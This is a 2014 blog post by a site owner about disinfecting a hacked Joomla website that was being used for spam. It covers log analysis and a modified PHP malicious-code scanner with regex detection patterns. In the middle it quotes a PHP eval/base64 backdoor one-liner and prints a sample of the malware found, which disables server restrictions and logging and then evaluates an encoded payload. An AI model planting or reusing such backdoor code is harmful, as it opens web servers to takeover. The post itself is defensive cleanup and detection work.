Thursday 15 May 2014

Disinfecting my website of a hacked spamming application

Many of you ay have had the unpleasant experience of your server administrator disabling your mail function, because some unscrupulous hacker has broken into your website to use it as a spamming zombie. 

This is a nightmare because very time consuming to route out the cause of the problem, and also to rid your website of all offending files. 

My first step was to check my logfiles using the Weblog Expert Lite tool. Simple enough, you go to the logs folder and download the most recent logfile. Once downloaded, you can then open it with the Weblog tool. 

When you click Analyze, the results appear in your web browser. The first sign there was something wrong  came when I looked at Pages under Access Statistics. 


On the third line I could see a file named index.php hidden deep within the website which had been accessed an inordinate number of times.

Thinking this could be a likely culprit, I downloaded the file via filezilla to look at its contents, and sure enough there was some evil looking code within it...I certainly wont post it, but buried within the php code were randomly alphanumeric variables which were assigned random alphanumeric values, such as $ryv3h7gd = "ajg4ks98" etc., you wouldn't think any normal php file would have a use for this sort of variable assignment.

I deleted the file thinking this would solve the problem, but this was not the case of course. Several months later my mail command was suspended again for more malicious spamming.

It was only now that I decided to go into the problem more deeply. After all, I cant use any of the forms on my website, which can certainly be a frustrating experience for my visitors.

ANTIVIRUS SOFTWARE FOR YOUR SERVER


I then started looking for php programmes to scan and disinfect your server space, and much to my disppointment I found that there was very little out there. I downloaded one open source php utility "phpantivirus", but this detected nothing.

I then dug a little further and found this utility by Mike Stowe which scans all the files on your directory for the presence of a simple php command which hackers use, namely the <?php @eval(base64_decode($_GET[q])); ?> command.

This did indeed reveal the presence of a number of files, which upon closer inspection were clearly of a malevolent nature.. here is some example code  of one file 

<?
error_reporting(0);

$language='eng';

$auth = 0;

$name='blahblahblah';
$pass='blahblahblah';

@ini_restore("safe_mode");
@ini_restore("open_basedir");
@ini_restore("safe_mode_include_dir");
@ini_restore("safe_mode_exec_dir");
@ini_restore("disable_functions");
@ini_restore("allow_url_fopen");

@ini_set('error_log',NULL);
@ini_set('log_errors',0);

eval(gzinflate(base64_decode('m7+XGSc6eW+Kd2L8TrhjzCJNXCW1QvVJoPyjGUaCevves/5cShmxfhOTWuYx9Pj9wWQ2FMnkUgBJ9jMWV1Uh42Yb5BExv0gU+iaVTHBCE4lsyISjIfBW1872XeXBEIq8eJybPSEK0QM/ifAleukXbxXIx49XTwjQQ5Ryrt35PutNYfxlJFxVliDP/oQVNGFD5/mYnfJQdQ+zNGFyz+ZEcKWh3Ou+C76wngu2sN/bL63Cy9VN2p0v0Ey83E3GpJ3SX/XvjjDN8dDdCGl6gQrUoiz9NqmKyg1EVduad9ONlWoKX4S0Me+z2IZM0eyaATthTiGHd1Qz52rwG6T20ndPmTqM9+f1cCIPOCht3ArWhBS6OyA0dK4seMbloA8Xf7QctP+sDUyw+PMsgRMSFhRFTyiL/TyjjzQagylcFmC8YdKdS+tuU/zOXOrePJaV+BukIyvZFFfJfKBcJTQBjCceN+jNoXsBehAwRu8K8S9BZpqpdYcuzXj2f4h6GUUFXOjHO2/zMKrcq818UWdJ8BBW2AsjVkgDVoGMf8c8dp6P7LTWwKcDQ1Ivo9uJnPOLv4+5Lw4jTnlayv0vefCuF2GJsYbARhn3j7H+03Xa4Dpt0vVuXaQc7Qc')));
?>

I deliberately obfuscated the random variable above, it was originally about 20 times longer. this file was located within the templates/system directory of my Joomla website, where there were also two other malicious files at that location which used the base64 hack. You can see the purpose of this file however, simply to open up your website to attack.  Needless to say, I deleted those files.

I also found numerous php files and identically named and sized gif files in my /images subdirectory. These also had the eval command, so I deleted these (the gif files were simply renamed php files) 

 Since I realised that, good though Mike Stowes utility is, there were other suspicious files on the computer which didnt have the eval command, I chose to modify the file to look for other features used by malicious spamming files. 

One of these features was that they used the fopen, fwrite and fclose commands, and the other was that they used if(isset($_REQUEST['blahblah'])).

So using the code modified as below

<?php
/*
Plugin Name: php Malicious Code Scanner
Plugin URI: http://www.mikestowe.com/phpmalcode
Description: The php Malicious Code Scanner checks all files for one of the most common malicious code attacks, the eval( base64_decode() ) attack...
Version: 1.3 alpha
Author: Michael Stowe
Author URI: http://www.mikestowe.com
Credits: Based on the idea of Er. Rochak Chauhan (http://www.rochakchauhan.com/), rewritten for use with a cron job
License: GPL-2
*/


// Set to your email:
define('SEND_EMAIL_ALERTS_TO','your@email.com');


############################################ START CLASS


class phpMalCodeScan {

public $infected_files = array();
private $scanned_files = array();


function __construct() {
$this->scan(dirname(__FILE__));
$this->sendalert();}

function scan($dir) {
$this->scanned_files[] = $dir;
$files = scandir($dir);

if(!is_array($files)) {
throw new Exception('Unable to scan directory ' . $dir . '. Please make sure proper permissions have been set.');
}

foreach($files as $file) {
if(is_file($dir.'/'.$file) && !in_array($dir.'/'.$file,$this->scanned_files)) {
$this->check(file_get_contents($dir.'/'.$file),$dir.'/'.$file);
} elseif(is_dir($dir.'/'.$file) && substr($file,0,1) != '.') {
$this->scan($dir.'/'.$file);
}
}
}


function check($contents,$file)

{
$this->scanned_files[] = $file;
if(preg_match('/eval\(base64/i',$contents) || preg_match('/eval\($_/i',$contents))
{
$this->infected_files[] = $file;
echo "EVAL ";
echo $file;
echo "<br>";
echo "Was last modified: " . date ("F d Y H:i:s.", filemtime($file));
echo "<br>";
}

if(preg_match('/_REQUEST/i',$contents) && preg_match('/fwrite/i',$contents))
{
$this->infected_files[] = $file;
echo "REQUEST + FWRITE ";
echo $file;
echo "<br>";

$filecontent = file_get_contents($file);
echo substr_count($filecontent,"_REQUEST");

echo " occurences of REQUEST<br>";
echo "Was last modified: " . date ("F d Y H:i:s.", filemtime($file));
echo "<br>";
}


}


function sendalert() {
if(count($this->infected_files) != 0) {
$message = "== MALICIOUS CODE FOUND == \n\n";
$message .= "The following files appear to be infected: \n";
foreach($this->infected_files as $inf) {
$message .= " - $inf \n";
}
mail(SEND_EMAIL_ALERTS_TO,'Malicious Code Found!',$message,'FROM:');
}
}


}


############################################ INITIATE CLASS

new phpMalCodeScan;
echo "scan complete";


?>
 
Basically, I uploaded a php file containing this code ("eval64scanner.php") to the root of my domain directory, and ran it by calling www.mydomain.com/eval64scanner.php in my browser.  

Rather than sending the report to an email address (unless you set up the email address correctly in the script), this just dumps the result to the screen, also providing the date when the file was added or modified. The modification date also provides valuable clues as to whether a file is malicious or not, since they will all tend to have the same creation date.

Although the scan produced quite a few few false positives, it did consistently find about 25 index.php files that were buried deep within the website at different locations, and all with the same creation date. Needless to say, I deleted these too.

I do not know how successful the cleaning procedure has been, the above script does not pick up normal eval strings, and many of the suspect gif and php files in the /images folder were not successfully detected with this script since they only had eval strings.  

The only thing to do is wait, my attackers will surely strike again. 

The next step is to find out how these miscreants got in. I suspect they may have got in by parking a php script on my server via a form. I shall now put some proper validation on those forms to make sure that no script files are uploaded.    

1 comment:

  1. the php malicious code scanner is a scan script file for the malicious code. good points shared.. thank you

    ReplyDelete